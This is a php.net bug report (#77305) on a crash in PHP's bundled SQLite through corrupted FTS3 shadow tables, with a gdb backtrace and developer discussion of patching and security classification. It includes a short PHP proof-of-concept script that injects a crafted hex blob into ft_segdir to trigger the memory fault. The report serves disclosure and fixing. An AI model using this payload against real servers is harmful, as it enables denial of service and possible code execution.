php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #77305 sigsev in __memcpy_sse2_unaligned due to sqlite bug
Submitted: 2018-12-15 21:50 UTC Modified: 2019-07-09 09:18 UTC
Votes:1
Avg. Score:3.0 ± 0.0
Reproduced:0 of 0 (0.0%)
From: zero_420_ at yahoo dot com Assigned: cmb (profile)
Status: Closed Package: SQLite related
PHP Version: 7.2.13 OS: Ubuntu
Private report: No CVE-ID: None
 [2018-12-15 21:50 UTC] zero_420_ at yahoo dot com
Description:
------------
php suffers from a crash in __memcpy_sse2_unaligned 
due to issues with a security bug in sqlite which was recently reported has the ability to execute arbitrary code provided by an attacker.

https://blade.tencent.com/magellan/index_en.html

this bug is patched in sqlite but it appears php ships with support for the vulnerable versions of sqlite

ive tested this across a few different builds and all of them result in the same segfault in  __memcpy_sse2_unaligned


i have included a backtrace showing this on the current version i have installed at the moment, and a test script to reproduce this crash across systems with sqlite support

(logic@operations:~/dev/php/sqlite)$ gdb php
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from php...done.
(gdb) r sq-exp.php
Starting program: /usr/local/bin/php sq-exp.php
 
Program received signal SIGSEGV, Segmentation fault.
__memcpy_sse2_unaligned ()
    at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:144
144	../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S: No such file or directory.
(gdb) bt
#0  __memcpy_sse2_unaligned ()
    at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:144
#1  0x0000000000527b63 in memcpy (__len=<optimized out>, __src=0x1065c61, 
    __dest=<optimized out>) at /usr/include/x86_64-linux-gnu/bits/string3.h:53
#2  fts3SegReaderNext (p=p@entry=0x1065848, pReader=pReader@entry=0x1065bc8, 
    bIncr=0)
    at /home/logic/dev/php-5.6.36/ext/sqlite3/libsqlite/sqlite3.c:13271
#3  0x0000000000528955 in fts3SegReaderStart (p=p@entry=0x1065848, 
    pCsr=pCsr@entry=0x10634f8, zTerm=zTerm@entry=0x1068888 "abandon", 
    nTerm=nTerm@entry=7)
    at /home/logic/dev/php-5.6.36/ext/sqlite3/libsqlite/sqlite3.c:145672
#4  0x0000000000528fd8 in sqlite3Fts3MsrIncrStart (nTerm=7, 
    zTerm=0x1068888 "abandon", iCol=-1, pCsr=0x10634f8, p=0x1065848)
    at /home/logic/dev/php-5.6.36/ext/sqlite3/libsqlite/sqlite3.c:145712
#5  fts3EvalPhraseStart (bOptOk=bOptOk@entry=1, p=0x1068808, pCsr=0x1066758, 
    pCsr=0x1066758)
    at /home/logic/dev/php-5.6.36/ext/sqlite3/libsqlite/sqlite3.c:6175
#6  0x0000000000529a9c in fts3EvalStartReaders (pCsr=pCsr@entry=0x1066758, 
    pExpr=0x10687c8, pRc=pRc@entry=0x7fffffffa034)
    at /home/logic/dev/php-5.6.36/ext/sqlite3/libsqlite/sqlite3.c:137632
#7  0x0000000000534036 in fts3EvalStart (pCsr=0x1066758)
    at /home/logic/dev/php-5.6.36/ext/sqlite3/libsqlite/sqlite3.c:137961
#8  fts3FilterMethod (pCursor=<optimized out>, idxNum=<optimized out>, 
---Type <return> to continue, or q <return> to quit---
    idxStr=<optimized out>, nVal=<optimized out>, apVal=<optimized out>)
    at /home/logic/dev/php-5.6.36/ext/sqlite3/libsqlite/sqlite3.c:5135
#9  0x00000000005181f8 in sqlite3VdbeExec (p=p@entry=0x1065ef8)
    at /home/logic/dev/php-5.6.36/ext/sqlite3/libsqlite/sqlite3.c:77005
#10 0x000000000051d5ef in sqlite3Step (p=0x1065ef8)
    at /home/logic/dev/php-5.6.36/ext/sqlite3/libsqlite/sqlite3.c:69486
#11 sqlite3_step (pStmt=<optimized out>)
    at /home/logic/dev/php-5.6.36/ext/sqlite3/libsqlite/sqlite3.c:4016
#12 0x00000000005138e5 in sqlite3_exec (db=0x1051488, zSql=<optimized out>, 
    xCallback=xCallback@entry=0x0, pArg=pArg@entry=0x0, 
    pzErrMsg=pzErrMsg@entry=0x7fffffffa530)
    at /home/logic/dev/php-5.6.36/ext/sqlite3/libsqlite/sqlite3.c:101758
#13 0x00000000004a6e27 in zim_sqlite3_exec (ht=1, return_value=0x7ffff7fba418, 
    return_value_ptr=<optimized out>, this_ptr=<optimized out>, 
    return_value_used=<optimized out>)
    at /home/logic/dev/php-5.6.36/ext/sqlite3/sqlite3.c:231
#14 0x000000000079c26f in zend_do_fcall_common_helper_SPEC (
    execute_data=<optimized out>)
    at /home/logic/dev/php-5.6.36/Zend/zend_vm_execute.h:558
#15 0x000000000072a2b0 in execute_ex (execute_data=0x7ffff7f843a8)
    at /home/logic/dev/php-5.6.36/Zend/zend_vm_execute.h:363
#16 0x00000000006ee130 in zend_execute_scripts (type=type@entry=8, 
    retval=retval@entry=0x0, file_count=file_count@entry=3)
---Type <return> to continue, or q <return> to quit---
    at /home/logic/dev/php-5.6.36/Zend/zend.c:1341
#17 0x0000000000688a00 in php_execute_script (
    primary_file=primary_file@entry=0x7fffffffcb20)
    at /home/logic/dev/php-5.6.36/main/main.c:2613
#18 0x000000000079dd6f in do_cli (argc=2, argv=0xed1ed0)
    at /home/logic/dev/php-5.6.36/sapi/cli/php_cli.c:998
#19 0x0000000000423bd1 in main (argc=2, argv=0xed1ed0)
    at /home/logic/dev/php-5.6.36/sapi/cli/php_cli.c:1382


Test script:
---------------
 <?php
    $database = new SQLite3("pwn.db");
	$database->exec("DROP TABLE IF EXISTS ft;");
	$database->exec("CREATE VIRTUAL TABLE ft USING fts3;");
	$database->exec("INSERT INTO ft VALUES('aback');");
	$database->exec("INSERT INTO ft VALUES('abaft');");
	$database->exec("INSERT INTO ft VALUES('abandon');");
	$database->exec("SELECT quote(root) from ft_segdir;");
	$database->exec("UPDATE ft_segdir SET root = X'0005616261636B03010200FFFFFFFF070266740302020003046E646F6E03030200';");
	$database->exec("SELECT * FROM ft WHERE ft MATCH 'abandon';");
    $database->close();
    unlink('pwn.db');
?> 

Expected result:
----------------
script should run without crashing as expected, however it does not


Actual result:
--------------
(logic@operations:~/dev/php/sqlite)$ php sq-exp.php
 Segmentation fault

Patches

port-940f2adc.patch (last revision 2018-12-16 01:23 UTC by cmb@php.net)

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2018-12-15 21:53 UTC] zero_420_ at yahoo dot com
the relevant fixes to sqlite are contained here https://www.sqlite.org/src/info/940f2adc8541a838
 [2018-12-16 00:44 UTC] stas@php.net
-Assigned To: +Assigned To: cmb
 [2018-12-16 00:44 UTC] stas@php.net
Looks like our built-in SQLITE is a bit behind master version - they are at 3.26.0, we are at 3.15.1 and no updates since 2016. Cristoph, you updated it last time - any reason not to bump it to 3.26?
 [2018-12-16 01:23 UTC] cmb@php.net
The following patch has been added/updated:

Patch Name: port-940f2adc.patch
Revision:   1544923392
URL:        https://bugs.php.net/patch-display.php?bug=77305&patch=port-940f2adc.patch&revision=1544923392
 [2018-12-16 01:23 UTC] cmb@php.net
As I understand it, our stance on updating the bundled libsqlite3
is to do this for pre-releases only, and to port relevant security
patches and fixes for severe bugs on a case by case basis to GA
branches.  Currently we have:

    PHP 5.6 → libsqlite 3.8.10.2
    PHP 7.0 → libsqlite 3.14.2
    PHP 7.1 → libsqlite 3.15.1
    PHP 7.2 → libsqlite 3.20.1
    PHP 7.3 → libsqlite 3.24.0
    master  → unbundled \o/

Anyhow, I can confirm that the supplied test script segfaults on
PHP-7.3, but after applying port-940f2adc.patch it yields instead:

    Warning: SQLite3::exec(): database disk image is malformed in %s on line %d

@zero_420_ Has a CVE-ID been assigned for this issue?
 [2018-12-16 01:26 UTC] stas@php.net
Not sure this requires separate CVE, it's sqlite bug so if there's sqlite CVE for this, we probably should use the same since it's the same code? In fact, since SQLITE fix is public, I think we can apply this one immediately too.
 [2018-12-16 01:27 UTC] stas@php.net
-PHP Version: Irrelevant +PHP Version: 5.6.39
 [2018-12-16 01:27 UTC] stas@php.net
Should be updated in 5.6 too probably,
 [2018-12-16 01:44 UTC] zero_420_ at yahoo dot com
i have not submitted a cve request regarding php being affected by this, however i believe there are cve's pending request regarding the sqlite issues as reported by Wenxiang Qian of the tenecent blade team.

if you feel that the impact of this warrants a cve then i can submit a request for one if need be
 [2018-12-16 12:11 UTC] cmb@php.net
-Assigned To: cmb +Assigned To: stas
 [2018-12-16 12:11 UTC] cmb@php.net
Sorry, my question was misleadingly worded.  Of course, we should
not have an own CVE-ID, but rather re-use the one assinged to SQLite3.
However, SQLite3 already shipped the commit you've mentioned, and
the release notes[1] state:

| Strengthen defenses against deliberately corrupted database files.

*Deliberately* corrupted database files would not be a security
issue according to our classification[2], though.  Also, the
respective chromium fix[3] doesn't mention anything security
related.

[1] <https://sqlite.org/releaselog/3_25_3.html>
[2] <https://wiki.php.net/security>
[3] <https://chromium.googlesource.com/chromium/src/+/c368e30ae55600a1c3c9cb1710a54f9c55de786e>
 [2018-12-16 16:38 UTC] zero_420_ at yahoo dot com
the chromium bug report is https://crbug.com/900910 however it is private, but the changelog located here 
https://chromereleases.googleblog.com/2018/12/stable-channel-update-for-desktop.html

states 
[$TBD][900910] High To be allocated: Multiple issues in SQLite via WebSQL. Reported by Wenxiang Qian of Tencent Blade Team on 2018-11-01

so it does appear that there are cve's pending for this
 [2018-12-16 22:54 UTC] cmb@php.net
Bohwaz just pointed out a related discussion on Hacker News where
the developer of SQLite3 states[1]:

| The vulnerability only exists in applications that allow a
| potential attacker to run arbitrary SQL.

While PHP allows developers to run arbitrary SQL, it also allows
to write to the database *file* directly which can be used to
corrupt it.  Neither is supposed to be allowed for arbitrary
users, and developers are not supposed to shoot their own foot.
Therefore, in my opinion, this is not even a bug wrt. PHP, but
could be turned into a feature request, which could be satified by
something like Bohwaz's recent suggestion[2].

[1] <https://news.ycombinator.com/item?id=18686462>
[2] <https://github.com/php/php-src/pull/3709>
 [2018-12-16 22:59 UTC] stas@php.net
-Type: Security +Type: Bug -PHP Version: 5.6.39 +PHP Version: 7.2.13
 [2018-12-16 22:59 UTC] stas@php.net
Looks like not a security issue then.
 [2018-12-17 00:08 UTC] zero_420_ at yahoo dot com
would you care to explain how it is not a security issue, if an attacker is already able to crash php within this context, it is not very hard for them to leverage this to bypass the security mechanisms such as disabled_functions.
 [2018-12-17 00:38 UTC] zero_420_ at yahoo dot com
adding on to the comment which @cmb referenced, https://news.ycombinator.com/item?id=18686572,  he further goes on to state

Correct. The primary error is that corrupt "shadow tables" used by the FTS3 full-text search extension could cause RCE. The fix for that specific problem is here: https://www.sqlite.org/src/info/d44318f59044162e
 [2018-12-24 01:53 UTC] zero_420_ at yahoo dot com
mitre has assigned CVE-2018-20346 to this issue in sqlite
 [2018-12-24 11:44 UTC] cmb@php.net
> would you care to explain how it is not a security issue, if an
> attacker is already able to crash php within this context, it is
> not very hard for them to leverage this to bypass the security
> mechanisms such as disabled_functions.

If an attacker is able to crash PHP within this context, the
application is vulnerable to SQL injection, and this is the fault
of the application, not of PHP.  If the application uses prepared
statements with bound variables only (which is recommended
anyway[1]), then it is not vulnerable to this kind of attack.

[1] <http://php.net/manual/en/security.database.sql-injection.php>
 [2018-12-24 11:47 UTC] spam2 at rhsoft dot net
there is still a difference between vulerable to sql-injection and be able to crash the service
 [2018-12-24 23:49 UTC] zero_420_ at yahoo dot com
just as @spam2 has stated this is true, and it appears that @cmb is oblivious to the fact that this is far more dangerous than simple sql injection because it can be leveraged by an attacker to execute code on the box locally bypassing security measures like disabled functions, however, as we typically see on most of these reports from the php devs, its almost as if their job titles are downplay anything with a security impact, or just ignore the reports flat out
 [2018-12-25 11:35 UTC] cmb@php.net
We are assessing security related bug reports according to our
security classification document[1].  This report falls in the
“Not a security issue” category[2], since it

| requires the use of code or settings known to be insecure

which is certainly the case for arbitrary SQL injection.

This security classification document has been agreed upon via a
respective RFC[3].  If you think the security classification is
flawed, please bring that up on internals@php.net, since this bug
tracker is unsuitable for such discussions.  Thanks!

[1] <https://wiki.php.net/security>
[2] <https://wiki.php.net/security#not_a_security_issue>
[3] <https://wiki.php.net/rfc/security-classification>
 [2018-12-25 11:54 UTC] spam2 at rhsoft dot net
you can have your arbitrary definitions as you like, for the rest of the world bugs which lead to denial of service are security bugs

for shared hosting it is critical when random php code leads to segfaults of the whole service and fpm pools just mask the issue
 [2019-07-09 09:18 UTC] cmb@php.net
-Status: Assigned +Status: Closed -Assigned To: stas +Assigned To: cmb
 [2019-07-09 09:18 UTC] cmb@php.net
The bundled libsqlite has now been updated to 3.28.0 for all
supported branches (including PHP-7.1), so this ticket can be
closed.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Mar 28 10:01:26 2024 UTC